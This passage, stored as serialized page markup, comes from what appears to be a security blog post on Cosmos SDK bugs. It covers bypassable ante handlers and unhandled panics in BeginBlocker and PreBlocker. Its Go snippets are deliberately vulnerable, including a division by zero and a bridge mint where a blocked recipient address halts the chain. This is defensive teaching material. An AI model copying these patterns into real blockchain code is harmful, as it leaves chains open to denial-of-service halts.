switch",{"type":23,"tag":504,"props":79462,"children":79463},{"style":529},[79464],{"type":28,"value":67008},{"type":23,"tag":504,"props":79466,"children":79467},{"style":523},[79468],{"type":28,"value":77531},{"type":23,"tag":504,"props":79470,"children":79471},{"style":511},[79472],{"type":28,"value":31734},{"type":23,"tag":504,"props":79474,"children":79475},{"style":523},[79476],{"type":28,"value":537},{"type":23,"tag":504,"props":79478,"children":79479},{"class":506,"line":22762},[79480,79485,79489,79493,79497],{"type":23,"tag":504,"props":79481,"children":79482},{"style":544},[79483],{"type":28,"value":79484},"        case",{"type":23,"tag":504,"props":79486,"children":79487},{"style":1012},[79488],{"type":28,"value":77392},{"type":23,"tag":504,"props":79490,"children":79491},{"style":523},[79492],{"type":28,"value":320},{"type":23,"tag":504,"props":79494,"children":79495},{"style":1012},[79496],{"type":28,"value":77425},{"type":23,"tag":504,"props":79498,"children":79499},{"style":523},[79500],{"type":28,"value":4550},{"type":23,"tag":504,"props":79502,"children":79503},{"class":506,"line":22799},[79504,79509,79513,79517,79521,79525],{"type":23,"tag":504,"props":79505,"children":79506},{"style":529},[79507],{"type":28,"value":79508},"            anteHandler",{"type":23,"tag":504,"props":79510,"children":79511},{"style":598},[79512],{"type":28,"value":648},{"type":23,"tag":504,"props":79514,"children":79515},{"style":529},[79516],{"type":28,"value":77392},{"type":23,"tag":504,"props":79518,"children":79519},{"style":523},[79520],{"type":28,"value":320},{"type":23,"tag":504,"props":79522,"children":79523},{"style":517},[79524],{"type":28,"value":79183},{"type":23,"tag":504,"props":79526,"children":79527},{"style":523},[79528],{"type":28,"value":2439},{"type":23,"tag":504,"props":79530,"children":79531},{"class":506,"line":22812},[79532,79537,79541,79546,79550],{"type":23,"tag":504,"props":79533,"children":79534},{"style":529},[79535],{"type":28,"value":79536},"                authante",{"type":23,"tag":504,"props":79538,"children":79539},{"style":523},[79540],{"type":28,"value":320},{"type":23,"tag":504,"props":79542,"children":79543},{"style":517},[79544],{"type":28,"value":79545},"NewSetUpContextDecorator",{"type":23,"tag":504,"props":79547,"children":79548},{"style":523},[79549],{"type":28,"value":17355},{"type":23,"tag":504,"props":79551,"children":79552},{"style":1106},[79553],{"type":28,"value":78046},{"type":23,"tag":504,"props":79555,"children":79556},{"class":506,"line":22825},[79557],{"type":23,"tag":504,"props":79558,"children":79559},{"style":598},[79560],{"type":28,"value":79561},"                 ...\n",{"type":23,"tag":504,"props":79563,"children":79564},{"class":506,"line":22838},[79565,79569,79573,79578,79582,79586,79590],{"type":23,"tag":504,"props":79566,"children":79567},{"style":529},[79568],{"type":28,"value":79536},{"type":23,"tag":504,"props":79570,"children":79571},{"style":523},[79572],{"type":28,"value":320},{"type":23,"tag":504,"props":79574,"children":79575},{"style":517},[79576],{"type":28,"value":79577},"NewIncrementSequenceDecorator",{"type":23,"tag":504,"props":79579,"children":79580},{"style":523},[79581],{"type":28,"value":526},{"type":23,"tag":504,"props":79583,"children":79584},{"style":529},[79585],{"type":28,"value":79228},{"type":23,"tag":504,"props":79587,"children":79588},{"style":523},[79589],{"type":28,"value":14157},{"type":23,"tag":504,"props":79591,"children":79592},{"style":1106},[79593],{"type":28,"value":79594},"// innermost AnteDecorator\n",{"type":23,"tag":504,"props":79596,"children":79597},{"class":506,"line":22892},[79598],{"type":23,"tag":504,"props":79599,"children":79600},{"style":523},[79601],{"type":28,"value":76266},{"type":23,"tag":504,"props":79603,"children":79604},{"class":506,"line":22901},[79605,79610],{"type":23,"tag":504,"props":79606,"children":79607},{"style":544},[79608],{"type":28,"value":79609},"        default",{"type":23,"tag":504,"props":79611,"children":79612},{"style":523},[79613],{"type":28,"value":4550},{"type":23,"tag":504,"props":79615,"children":79616},{"class":506,"line":31258},[79617,79621,79625,79629,79633,79637,79641],{"type":23,"tag":504,"props":79618,"children":79619},{"style":544},[79620],{"type":28,"value":77827},{"type":23,"tag":504,"props":79622,"children":79623},{"style":529},[79624],{"type":28,"value":24823},{"type":23,"tag":504,"props":79626,"children":79627},{"style":523},[79628],{"type":28,"value":576},{"type":23,"tag":504,"props":79630,"children":79631},{"style":529},[79632],{"type":28,"value":79285},{"type":23,"tag":504,"props":79634,"children":79635},{"style":523},[79636],{"type":28,"value":320},{"type":23,"tag":504,"props":79638,"children":79639},{"style":517},[79640],{"type":28,"value":79294},{"type":23,"tag":504,"props":79642,"children":79643},{"style":523},[79644],{"type":28,"value":2439},{"type":23,"tag":504,"props":79646,"children":79647},{"class":506,"line":31279},[79648,79653,79657,79662,79666,79670,79674,79679,79683,79688,79692,79696],{"type":23,"tag":504,"props":79649,"children":79650},{"style":529},[79651],{"type":28,"value":79652},"                sdkerrors",{"type":23,"tag":504,"props":79654,"children":79655},{"style":523},[79656],{"type":28,"value":320},{"type":23,"tag":504,"props":79658,"children":79659},{"style":517},[79660],{"type":28,"value":79661},"Wrapf",{"type":23,"tag":504,"props":79663,"children":79664},{"style":523},[79665],{"type":28,"value":526},{"type":23,"tag":504,"props":79667,"children":79668},{"style":529},[79669],{"type":28,"value":79323},{"type":23,"tag":504,"props":79671,"children":79672},{"style":523},[79673],{"type":28,"value":320},{"type":23,"tag":504,"props":79675,"children":79676},{"style":529},[79677],{"type":28,"value":79678},"ErrUnknownRequest",{"type":23,"tag":504,"props":79680,"children":79681},{"style":523},[79682],{"type":28,"value":576},{"type":23,"tag":504,"props":79684,"children":79685},{"style":622},[79686],{"type":28,"value":79687},"\"invalid transaction type: %T\"",{"type":23,"tag":504,"props":79689,"children":79690},{"style":523},[79691],{"type":28,"value":576},{"type":23,"tag":504,"props":79693,"children":79694},{"style":529},[79695],{"type":28,"value":77932},{"type":23,"tag":504,"props":79697,"children":79698},{"style":523},[79699],{"type":28,"value":5720},{"type":23,"tag":504,"props":79701,"children":79703},{"class":506,"line":79702},53,[79704,79709],{"type":23,"tag":504,"props":79705,"children":79706},{"style":622},[79707],{"type":28,"value":79708},"                \"transaction is not an SDK tx\"",{"type":23,"tag":504,"props":79710,"children":79711},{"style":523},[79712],{"type":28,"value":2484},{"type":23,"tag":504,"props":79714,"children":79716},{"class":506,"line":79715},54,[79717],{"type":23,"tag":504,"props":79718,"children":79719},{"style":523},[79720],{"type":28,"value":76266},{"type":23,"tag":504,"props":79722,"children":79724},{"class":506,"line":79723},55,[79725],{"type":23,"tag":504,"props":79726,"children":79727},{"style":523},[79728],{"type":28,"value":1291},{"type":23,"tag":504,"props":79730,"children":79732},{"class":506,"line":79731},56,[79733],{"type":23,"tag":504,"props":79734,"children":79735},{"emptyLinePlaceholder":16},[79736],{"type":28,"value":1038},{"type":23,"tag":504,"props":79738,"children":79740},{"class":506,"line":79739},57,[79741,79745,79749,79753,79757,79761,79765,79769,79773],{"type":23,"tag":504,"props":79742,"children":79743},{"style":544},[79744],{"type":28,"value":742},{"type":23,"tag":504,"props":79746,"children":79747},{"style":517},[79748],{"type":28,"value":78874},{"type":23,"tag":504,"props":79750,"children":79751},{"style":523},[79752],{"type":28,"value":526},{"type":23,"tag":504,"props":79754,"children":79755},{"style":529},[79756],{"type":28,"value":19262},{"type":23,"tag":504,"props":79758,"children":79759},{"style":523},[79760],{"type":28,"value":576},{"type":23,"tag":504,"props":79762,"children":79763},{"style":529},[79764],{"type":28,"value":77932},{"type":23,"tag":504,"props":79766,"children":79767},{"style":523},[79768],{"type":28,"value":576},{"type":23,"tag":504,"props":79770,"children":79771},{"style":529},[79772],{"type":28,"value":78812},{"type":23,"tag":504,"props":79774,"children":79775},{"style":523},[79776],{"type":28,"value":1192},{"type":23,"tag":504,"props":79778,"children":79780},{"class":506,"line":79779},58,[79781],{"type":23,"tag":504,"props":79782,"children":79783},{"style":523},[79784],{"type":28,"value":875},{"type":23,"tag":504,"props":79786,"children":79788},{"class":506,"line":79787},59,[79789],{"type":23,"tag":504,"props":79790,"children":79791},{"style":523},[79792],{"type":28,"value":884},{"type":23,"tag":24,"props":79794,"children":79795},{},[79796,79798,79803,79805,79812,79813,79820],{"type":28,"value":79797},"Additional examples of incorrect ",{"type":23,"tag":56,"props":79799,"children":79801},{"className":79800},[],[79802],{"type":28,"value":77221},{"type":28,"value":79804}," usage include ",{"type":23,"tag":92,"props":79806,"children":79809},{"href":79807,"rel":79808},"https://jumpcrypto.com/writing/bypassing-ethermint-ante-handlers",[96],[79810],{"type":28,"value":79811},"yet more bypassable checks and loss of funds",{"type":28,"value":430},{"type":23,"tag":92,"props":79814,"children":79817},{"href":79815,"rel":79816},"https://github.com/cosmos/ibc-go/issues/853",[96],[79818],{"type":28,"value":79819},"incorrect data passing between blockchains",{"type":28,"value":320},{"type":23,"tag":70,"props":79822,"children":79824},{"id":79823},"errors-panics-i-can-handle-it",[79825],{"type":28,"value":79826},"Errors? Panics? I can handle it",{"type":23,"tag":24,"props":79828,"children":79829},{},[79830],{"type":28,"value":79831},"Smart contract developers are used to not properly handling errors. This is acceptable since most underlying blockchains revert all state changes when execution fails.",{"type":23,"tag":24,"props":79833,"children":79834},{},[79835],{"type":28,"value":79836},"Cosmos is designed to provide a similar experience. Whenever some message handler returns an error, changes to the persistent state are dropped. Panics are handled similarly, where a recovery handler is wrapped around the message execution to convert panics into errors for a downstream process.",{"type":23,"tag":24,"props":79838,"children":79839},{},[79840,79842,79848,79850,79855],{"type":28,"value":79841},"This design is pretty neat and allows developers to write code in a rather lazy way. For instance, the following code works perfectly fine. If ",{"type":23,"tag":56,"props":79843,"children":79845},{"className":79844},[],[79846],{"type":28,"value":79847},"k.keeper.TotalReward()",{"type":28,"value":79849}," returns zero, the ",{"type":23,"tag":56,"props":79851,"children":79853},{"className":79852},[],[79854],{"type":28,"value":56925},{"type":28,"value":79856}," execution will simply rollback as if nothing has happened.",{"type":23,"tag":494,"props":79858,"children":79860},{"code":79859,"language":74915,"meta":7,"className":74916,"style":7},"func (k msgServer) AllocateReward(\n    goCtx context.Context,\n    msg *types.MsgAllocateReward)\n(*types.MsgAllocatRewardResponse, error) {\n\n    RewardPerShare := k.keeper.Shares() /  k.keeper.TotalReward()\n    k.keeper.DistributeReward(RewardPerShare)\n\n    return &types.MsgAllocateRewardResponse, nil\n}\n",[79861],{"type":23,"tag":56,"props":79862,"children":79863},{"__ignoreMap":7},[79864,79897,79920,79948,79984,79991,80060,80098,80105,80137],{"type":23,"tag":504,"props":79865,"children":79866},{"class":506,"line":507},[79867,79871,79875,79880,79884,79888,79893],{"type":23,"tag":504,"props":79868,"children":79869},{"style":511},[79870],{"type":28,"value":75051},{"type":23,"tag":504,"props":79872,"children":79873},{"style":523},[79874],{"type":28,"value":801},{"type":23,"tag":504,"props":79876,"children":79877},{"style":529},[79878],{"type":28,"value":79879},"k ",{"type":23,"tag":504,"props":79881,"children":79882},{"style":1012},[79883],{"type":28,"value":75065},{"type":23,"tag":504,"props":79885,"children":79886},{"style":523},[79887],{"type":28,"value":2064},{"type":23,"tag":504,"props":79889,"children":79890},{"style":517},[79891],{"type":28,"value":79892},"AllocateReward",{"type":23,"tag":504,"props":79894,"children":79895},{"style":523},[79896],{"type":28,"value":2439},{"type":23,"tag":504,"props":79898,"children":79899},{"class":506,"line":540},[79900,79904,79908,79912,79916],{"type":23,"tag":504,"props":79901,"children":79902},{"style":529},[79903],{"type":28,"value":75086},{"type":23,"tag":504,"props":79905,"children":79906},{"style":1012},[79907],{"type":28,"value":75091},{"type":23,"tag":504,"props":79909,"children":79910},{"style":523},[79911],{"type":28,"value":320},{"type":23,"tag":504,"props":79913,"children":79914},{"style":1012},[79915],{"type":28,"value":75100},{"type":23,"tag":504,"props":79917,"children":79918},{"style":523},[79919],{"type":28,"value":2484},{"type":23,"tag":504,"props":79921,"children":79922},{"class":506,"line":555},[79923,79927,79931,79935,79939,79944],{"type":23,"tag":504,"props":79924,"children":79925},{"style":529},[79926],{"type":28,"value":75112},{"type":23,"tag":504,"props":79928,"children":79929},{"style":598},[79930],{"type":28,"value":8797},{"type":23,"tag":504,"props":79932,"children":79933},{"style":1012},[79934],{"type":28,"value":4741},{"type":23,"tag":504,"props":79936,"children":79937},{"style":523},[79938],{"type":28,"value":320},{"type":23,"tag":504,"props":79940,"children":79941},{"style":1012},[79942],{"type":28,"value":79943},"MsgAllocateReward",{"type":23,"tag":504,"props":79945,"children":79946},{"style":523},[79947],{"type":28,"value":1192},{"type":23,"tag":504,"props":79949,"children":79950},{"class":506,"line":633},[79951,79955,79959,79963,79967,79972,79976,79980],{"type":23,"tag":504,"props":79952,"children":79953},{"style":523},[79954],{"type":28,"value":526},{"type":23,"tag":504,"props":79956,"children":79957},{"style":598},[79958],{"type":28,"value":3552},{"type":23,"tag":504,"props":79960,"children":79961},{"style":1012},[79962],{"type":28,"value":4741},{"type":23,"tag":504,"props":79964,"children":79965},{"style":523},[79966],{"type":28,"value":320},{"type":23,"tag":504,"props":79968,"children":79969},{"style":1012},[79970],{"type":28,"value":79971},"MsgAllocatRewardResponse",{"type":23,"tag":504,"props":79973,"children":79974},{"style":523},[79975],{"type":28,"value":576},{"type":23,"tag":504,"props":79977,"children":79978},{"style":1012},[79979],{"type":28,"value":806},{"type":23,"tag":504,"props":79981,"children":79982},{"style":523},[79983],{"type":28,"value":537},{"type":23,"tag":504,"props":79985,"children":79986},{"class":506,"line":687},[79987],{"type":23,"tag":504,"props":79988,"children":79989},{"emptyLinePlaceholder":16},[79990],{"type":28,"value":1038},{"type":23,"tag":504,"props":79992,"children":79993},{"class":506,"line":736},[79994,79999,80003,80008,80012,80017,80021,80026,80030,80034,80039,80043,80047,80051,80056],{"type":23,"tag":504,"props":79995,"children":79996},{"style":529},[79997],{"type":28,"value":79998},"    RewardPerShare",{"type":23,"tag":504,"props":80000,"children":80001},{"style":598},[80002],{"type":28,"value":75167},{"type":23,"tag":504,"props":80004,"children":80005},{"style":529},[80006],{"type":28,"value":80007}," k",{"type":23,"tag":504,"props":80009,"children":80010},{"style":523},[80011],{"type":28,"value":320},{"type":23,"tag":504,"props":80013,"children":80014},{"style":529},[80015],{"type":28,"value":80016},"keeper",{"type":23,"tag":504,"props":80018,"children":80019},{"style":523},[80020],{"type":28,"value":320},{"type":23,"tag":504,"props":80022,"children":80023},{"style":517},[80024],{"type":28,"value":80025},"Shares",{"type":23,"tag":504,"props":80027,"children":80028},{"style":523},[80029],{"type":28,"value":13024},{"type":23,"tag":504,"props":80031,"children":80032},{"style":598},[80033],{"type":28,"value":3562},{"type":23,"tag":504,"props":80035,"children":80036},{"style":529},[80037],{"type":28,"value":80038},"  k",{"type":23,"tag":504,"props":80040,"children":80041},{"style":523},[80042],{"type":28,"value":320},{"type":23,"tag":504,"props":80044,"children":80045},{"style":529},[80046],{"type":28,"value":80016},{"type":23,"tag":504,"props":80048,"children":80049},{"style":523},[80050],{"type":28,"value":320},{"type":23,"tag":504,"props":80052,"children":80053},{"style":517},[80054],{"type":28,"value":80055},"TotalReward",{"type":23,"tag":504,"props":80057,"children":80058},{"style":523},[80059],{"type":28,"value":1156},{"type":23,"tag":504,"props":80061,"children":80062},{"class":506,"line":785},[80063,80068,80072,80076,80080,80085,80089,80094],{"type":23,"tag":504,"props":80064,"children":80065},{"style":529},[80066],{"type":28,"value":80067},"    k",{"type":23,"tag":504,"props":80069,"children":80070},{"style":523},[80071],{"type":28,"value":320},{"type":23,"tag":504,"props":80073,"children":80074},{"style":529},[80075],{"type":28,"value":80016},{"type":23,"tag":504,"props":80077,"children":80078},{"style":523},[80079],{"type":28,"value":320},{"type":23,"tag":504,"props":80081,"children":80082},{"style":517},[80083],{"type":28,"value":80084},"DistributeReward",{"type":23,"tag":504,"props":80086,"children":80087},{"style":523},[80088],{"type":28,"value":526},{"type":23,"tag":504,"props":80090,"children":80091},{"style":529},[80092],{"type":28,"value":80093},"RewardPerShare",{"type":23,"tag":504,"props":80095,"children":80096},{"style":523},[80097],{"type":28,"value":1192},{"type":23,"tag":504,"props":80099,"children":80100},{"class":506,"line":813},[80101],{"type":23,"tag":504,"props":80102,"children":80103},{"emptyLinePlaceholder":16},[80104],{"type":28,"value":1038},{"type":23,"tag":504,"props":80106,"children":80107},{"class":506,"line":851},[80108,80112,80116,80120,80124,80129,80133],{"type":23,"tag":504,"props":80109,"children":80110},{"style":544},[80111],{"type":28,"value":15968},{"type":23,"tag":504,"props":80113,"children":80114},{"style":598},[80115],{"type":28,"value":6125},{"type":23,"tag":504,"props":80117,"children":80118},{"style":529},[80119],{"type":28,"value":4741},{"type":23,"tag":504,"props":80121,"children":80122},{"style":523},[80123],{"type":28,"value":320},{"type":23,"tag":504,"props":80125,"children":80126},{"style":529},[80127],{"type":28,"value":80128},"MsgAllocateRewardResponse",{"type":23,"tag":504,"props":80130,"children":80131},{"style":523},[80132],{"type":28,"value":576},{"type":23,"tag":504,"props":80134,"children":80135},{"style":511},[80136],{"type":28,"value":75393},{"type":23,"tag":504,"props":80138,"children":80139},{"class":506,"line":869},[80140],{"type":23,"tag":504,"props":80141,"children":80142},{"style":523},[80143],{"type":28,"value":884},{"type":23,"tag":24,"props":80145,"children":80146},{},[80147,80149,80155,80156,80162,80163,80169,80171,80176],{"type":28,"value":80148},"However, the same assumption does not always hold. Certain parts of Cosmos, such as ",{"type":23,"tag":56,"props":80150,"children":80152},{"className":80151},[],[80153],{"type":28,"value":80154},"PreBlocker",{"type":28,"value":576},{"type":23,"tag":56,"props":80157,"children":80159},{"className":80158},[],[80160],{"type":28,"value":80161},"BeginBlocker",{"type":28,"value":5471},{"type":23,"tag":56,"props":80164,"children":80166},{"className":80165},[],[80167],{"type":28,"value":80168},"EndBlocker",{"type":28,"value":80170},", are not protected by the error handling mechanism. So, if we move the reward distribution logic into ",{"type":23,"tag":56,"props":80172,"children":80174},{"className":80173},[],[80175],{"type":28,"value":80161},{"type":28,"value":80177}," to automatically distribute rewards at the start of each block, panics raised by division by 0 will halt the chain.",{"type":23,"tag":494,"props":80179,"children":80181},{"code":80180,"language":74915,"meta":7,"className":74916,"style":7},"func BeginBlocker(ctx context.Context, keeper keeper.Keeper) error {\n\n    RewardPerShare := keeper.Shares() /  keeper.TotalReward()\n    keeper.DistributeReward(RewardPerShare)\n\n return nil\n}\n",[80182],{"type":23,"tag":56,"props":80183,"children":80184},{"__ignoreMap":7},[80185,80250,80257,80305,80333,80340,80352],{"type":23,"tag":504,"props":80186,"children":80187},{"class":506,"line":507},[80188,80192,80197,80201,80205,80209,80213,80217,80221,80225,80230,80234,80238,80242,80246],{"type":23,"tag":504,"props":80189,"children":80190},{"style":511},[80191],{"type":28,"value":75051},{"type":23,"tag":504,"props":80193,"children":80194},{"style":517},[80195],{"type":28,"value":80196}," BeginBlocker",{"type":23,"tag":504,"props":80198,"children":80199},{"style":523},[80200],{"type":28,"value":526},{"type":23,"tag":504,"props":80202,"children":80203},{"style":529},[80204],{"type":28,"value":19262},{"type":23,"tag":504,"props":80206,"children":80207},{"style":1012},[80208],{"type":28,"value":75091},{"type":23,"tag":504,"props":80210,"children":80211},{"style":523},[80212],{"type":28,"value":320},{"type":23,"tag":504,"props":80214,"children":80215},{"style":1012},[80216],{"type":28,"value":75100},{"type":23,"tag":504,"props":80218,"children":80219},{"style":523},[80220],{"type":28,"value":576},{"type":23,"tag":504,"props":80222,"children":80223},{"style":529},[80224],{"type":28,"value":80016},{"type":23,"tag":504,"props":80226,"children":80227},{"style":1012},[80228],{"type":28,"value":80229}," keeper",{"type":23,"tag":504,"props":80231,"children":80232},{"style":523},[80233],{"type":28,"value":320},{"type":23,"tag":504,"props":80235,"children":80236},{"style":1012},[80237],{"type":28,"value":78696},{"type":23,"tag":504,"props":80239,"children":80240},{"style":523},[80241],{"type":28,"value":2064},{"type":23,"tag":504,"props":80243,"children":80244},{"style":1012},[80245],{"type":28,"value":806},{"type":23,"tag":504,"props":80247,"children":80248},{"style":523},[80249],{"type":28,"value":552},{"type":23,"tag":504,"props":80251,"children":80252},{"class":506,"line":540},[80253],{"type":23,"tag":504,"props":80254,"children":80255},{"emptyLinePlaceholder":16},[80256],{"type":28,"value":1038},{"type":23,"tag":504,"props":80258,"children":80259},{"class":506,"line":555},[80260,80264,80268,80272,80276,80280,80284,80288,80293,80297,80301],{"type":23,"tag":504,"props":80261,"children":80262},{"style":529},[80263],{"type":28,"value":79998},{"type":23,"tag":504,"props":80265,"children":80266},{"style":598},[80267],{"type":28,"value":75167},{"type":23,"tag":504,"props":80269,"children":80270},{"style":529},[80271],{"type":28,"value":80229},{"type":23,"tag":504,"props":80273,"children":80274},{"style":523},[80275],{"type":28,"value":320},{"type":23,"tag":504,"props":80277,"children":80278},{"style":517},[80279],{"type":28,"value":80025},{"type":23,"tag":504,"props":80281,"children":80282},{"style":523},[80283],{"type":28,"value":13024},{"type":23,"tag":504,"props":80285,"children":80286},{"style":598},[80287],{"type":28,"value":3562},{"type":23,"tag":504,"props":80289,"children":80290},{"style":529},[80291],{"type":28,"value":80292},"  keeper",{"type":23,"tag":504,"props":80294,"children":80295},{"style":523},[80296],{"type":28,"value":320},{"type":23,"tag":504,"props":80298,"children":80299},{"style":517},[80300],{"type":28,"value":80055},{"type":23,"tag":504,"props":80302,"children":80303},{"style":523},[80304],{"type":28,"value":1156},{"type":23,"tag":504,"props":80306,"children":80307},{"class":506,"line":633},[80308,80313,80317,80321,80325,80329],{"type":23,"tag":504,"props":80309,"children":80310},{"style":529},[80311],{"type":28,"value":80312},"    keeper",{"type":23,"tag":504,"props":80314,"children":80315},{"style":523},[80316],{"type":28,"value":320},{"type":23,"tag":504,"props":80318,"children":80319},{"style":517},[80320],{"type":28,"value":80084},{"type":23,"tag":504,"props":80322,"children":80323},{"style":523},[80324],{"type":28,"value":526},{"type":23,"tag":504,"props":80326,"children":80327},{"style":529},[80328],{"type":28,"value":80093},{"type":23,"tag":504,"props":80330,"children":80331},{"style":523},[80332],{"type":28,"value":1192},{"type":23,"tag":504,"props":80334,"children":80335},{"class":506,"line":687},[80336],{"type":23,"tag":504,"props":80337,"children":80338},{"emptyLinePlaceholder":16},[80339],{"type":28,"value":1038},{"type":23,"tag":504,"props":80341,"children":80342},{"class":506,"line":736},[80343,80347],{"type":23,"tag":504,"props":80344,"children":80345},{"style":544},[80346],{"type":28,"value":51844},{"type":23,"tag":504,"props":80348,"children":80349},{"style":511},[80350],{"type":28,"value":80351}," nil\n",{"type":23,"tag":504,"props":80353,"children":80354},{"class":506,"line":785},[80355],{"type":23,"tag":504,"props":80356,"children":80357},{"style":523},[80358],{"type":28,"value":884},{"type":23,"tag":82,"props":80360,"children":80362},{"id":80361},"real-world-examples-3",[80363],{"type":28,"value":75440},{"type":23,"tag":24,"props":80365,"children":80366},{},[80367],{"type":28,"value":80368},"Recently, developers have become increasingly aware of unprotected ABCI functions, but this doesn't stop DoS bugs from manifesting. So what is the catch?",{"type":23,"tag":24,"props":80370,"children":80371},{},[80372,80374,80380,80382,80387,80389,80395,80397,80403,80405,80411],{"type":28,"value":80373},"The problem lies in the lack of proper understanding of utility functions. The example here implements a bridge that mints wrapped BTC tokens in the PreBlocker when bridging events are observed. Notably, errors returned by ",{"type":23,"tag":56,"props":80375,"children":80377},{"className":80376},[],[80378],{"type":28,"value":80379},"bankKeeper.SendCoinsFromModuleToAccount",{"type":28,"value":80381}," will be bubbled up through ",{"type":23,"tag":56,"props":80383,"children":80385},{"className":80384},[],[80386],{"type":28,"value":80154},{"type":28,"value":80388}," and halt the chain. It turns out an attacker can force ",{"type":23,"tag":56,"props":80390,"children":80392},{"className":80391},[],[80393],{"type":28,"value":80394},"SendCoinsFromModuleToAccount",{"type":28,"value":80396}," to return an error by setting ",{"type":23,"tag":56,"props":80398,"children":80400},{"className":80399},[],[80401],{"type":28,"value":80402},"recipient",{"type":28,"value":80404}," to some ",{"type":23,"tag":56,"props":80406,"children":80408},{"className":80407},[],[80409],{"type":28,"value":80410},"BlockedAddr",{"type":28,"value":80412},",rendering the code susceptible to DoS attacks.",{"type":23,"tag":24,"props":80414,"children":80415},{},[80416],{"type":23,"tag":92,"props":80417,"children":80420},{"href":80418,"rel":80419},"https://github.com/mezo-org/mezod/blob/d3b1a049a9acce977fdadd245cb381252f101922/x/bridge/keeper/assets_locked.go#L170",[96],[80421],{"type":28,"value":75490},{"type":23,"tag":494,"props":80423,"children":80425},{"code":80424,"language":74915,"meta":7,"className":74916,"style":7},"func (pbh *PreBlockHandler) PreBlocker() sdk.PreBlocker {\n    return func(\n        ctx sdk.Context,\n        req *cmtabci.RequestFinalizeBlock,\n    ) (*sdk.ResponsePreBlock, error) {\n        ...\n        err := pbh.bridgeKeeper.AcceptAssetsLocked(ctx, events)\n        if err != nil {\n            return nil, fmt.Errorf(\"cannot accept AssetsLocked events: %w\", err)\n        }\n        ...\n    }\n}\n\nfunc (k Keeper) AcceptAssetsLocked(\n    ctx sdk.Context,\n    events types.AssetsLockedEvents,\n) error {\n    ...\n    for _, event := range events {\n        recipient, err := sdk.AccAddressFromBech32(event.Recipient)\n        if err != nil {\n            return fmt.Errorf(\"failed to parse recipient address: %w\", err)\n        }\n\n        if bytes.Equal(event.TokenBytes(), sourceBTCToken) {\n            err = k.mintBTC(ctx, recipient, event.Amount)\n            if err != nil {\n                return fmt.Errorf(\n                    \"failed to mint BTC for event %v: %w\",\n                    event.Sequence,\n                    err,\n                )\n            }\n        } else {\n            ...\n        }\n    }\n    ...\n}\n\nfunc (k Keeper) mintBTC(\n    ctx sdk.Context,\n    recipient sdk.AccAddress,\n    amount math.Int,\n) error {\n    ...\n    err = k.bankKeeper.SendCoinsFromModuleToAccount(\n        ctx,\n        types.ModuleName,\n        recipient,\n        coins,\n    )\n    if err != nil {\n        return fmt.Errorf(\"failed to send coins: %w\", err)\n    }\n    ...\n}\n",[80426],{"type":23,"tag":56,"props":80427,"children":80428},{"__ignoreMap":7},[80429,80482,80497,80520,80550,80586,80594,80650,80674,80724,80731,80738,80745,80752,80759,80790,80813,80838,80853,80860,80897,80951,80974,81015,81022,81029,81080,81141,81164,81187,81199,81220,81232,81240,81247,81262,81270,81277,81284,81291,81298,81305,81336,81359,81384,81409,81424,81431,81468,81479,81500,81511,81523,81530,81553,81593,81600,81607],{"type":23,"tag":504,"props":80430,"children":80431},{"class":506,"line":507},[80432,80436,80440,80445,80449,80454,80458,80462,80466,80470,80474,80478],{"type":23,"tag":504,"props":80433,"children":80434},{"style":511},[80435],{"type":28,"value":75051},{"type":23,"tag":504,"props":80437,"children":80438},{"style":523},[80439],{"type":28,"value":801},{"type":23,"tag":504,"props":80441,"children":80442},{"style":529},[80443],{"type":28,"value":80444},"pbh ",{"type":23,"tag":504,"props":80446,"children":80447},{"style":598},[80448],{"type":28,"value":3552},{"type":23,"tag":504,"props":80450,"children":80451},{"style":1012},[80452],{"type":28,"value":80453},"PreBlockHandler",{"type":23,"tag":504,"props":80455,"children":80456},{"style":523},[80457],{"type":28,"value":2064},{"type":23,"tag":504,"props":80459,"children":80460},{"style":517},[80461],{"type":28,"value":80154},{"type":23,"tag":504,"props":80463,"children":80464},{"style":523},[80465],{"type":28,"value":13024},{"type":23,"tag":504,"props":80467,"children":80468},{"style":1012},[80469],{"type":28,"value":77481},{"type":23,"tag":504,"props":80471,"children":80472},{"style":523},[80473],{"type":28,"value":320},{"type":23,"tag":504,"props":80475,"children":80476},{"style":1012},[80477],{"type":28,"value":80154},{"type":23,"tag":504,"props":80479,"children":80480},{"style":523},[80481],{"type":28,"value":552},{"type":23,"tag":504,"props":80483,"children":80484},{"class":506,"line":540},[80485,80489,80493],{"type":23,"tag":504,"props":80486,"children":80487},{"style":544},[80488],{"type":28,"value":15968},{"type":23,"tag":504,"props":80490,"children":80491},{"style":511},[80492],{"type":28,"value":78760},{"type":23,"tag":504,"props":80494,"children":80495},{"style":523},[80496],{"type":28,"value":2439},{"type":23,"tag":504,"props":80498,"children":80499},{"class":506,"line":555},[80500,80504,80508,80512,80516],{"type":23,"tag":504,"props":80501,"children":80502},{"style":529},[80503],{"type":28,"value":25166},{"type":23,"tag":504,"props":80505,"children":80506},{"style":1012},[80507],{"type":28,"value":77392},{"type":23,"tag":504,"props":80509,"children":80510},{"style":523},[80511],{"type":28,"value":320},{"type":23,"tag":504,"props":80513,"children":80514},{"style":1012},[80515],{"type":28,"value":75100},{"type":23,"tag":504,"props":80517,"children":80518},{"style":523},[80519],{"type":28,"value":2484},{"type":23,"tag":504,"props":80521,"children":80522},{"class":506,"line":633},[80523,80528,80532,80537,80541,80546],{"type":23,"tag":504,"props":80524,"children":80525},{"style":529},[80526],{"type":28,"value":80527},"        req",{"type":23,"tag":504,"props":80529,"children":80530},{"style":598},[80531],{"type":28,"value":8797},{"type":23,"tag":504,"props":80533,"children":80534},{"style":1012},[80535],{"type":28,"value":80536},"cmtabci",{"type":23,"tag":504,"props":80538,"children":80539},{"style":523},[80540],{"type":28,"value":320},{"type":23,"tag":504,"props":80542,"children":80543},{"style":1012},[80544],{"type":28,"value":80545},"RequestFinalizeBlock",{"type":23,"tag":504,"props":80547,"children":80548},{"style":523},[80549],{"type":28,"value":2484},{"type":23,"tag":504,"props":80551,"children":80552},{"class":506,"line":687},[80553,80557,80561,80565,80569,80574,80578,80582],{"type":23,"tag":504,"props":80554,"children":80555},{"style":523},[80556],{"type":28,"value":78828},{"type":23,"tag":504,"props":80558,"children":80559},{"style":598},[80560],{"type":28,"value":3552},{"type":23,"tag":504,"props":80562,"children":80563},{"style":1012},[80564],{"type":28,"value":77481},{"type":23,"tag":504,"props":80566,"children":80567},{"style":523},[80568],{"type":28,"value":320},{"type":23,"tag":504,"props":80570,"children":80571},{"style":1012},[80572],{"type":28,"value":80573},"ResponsePreBlock",{"type":23,"tag":504,"props":80575,"children":80576},{"style":523},[80577],{"type":28,"value":576},{"type":23,"tag":504,"props":80579,"children":80580},{"style":1012},[80581],{"type":28,"value":806},{"type":23,"t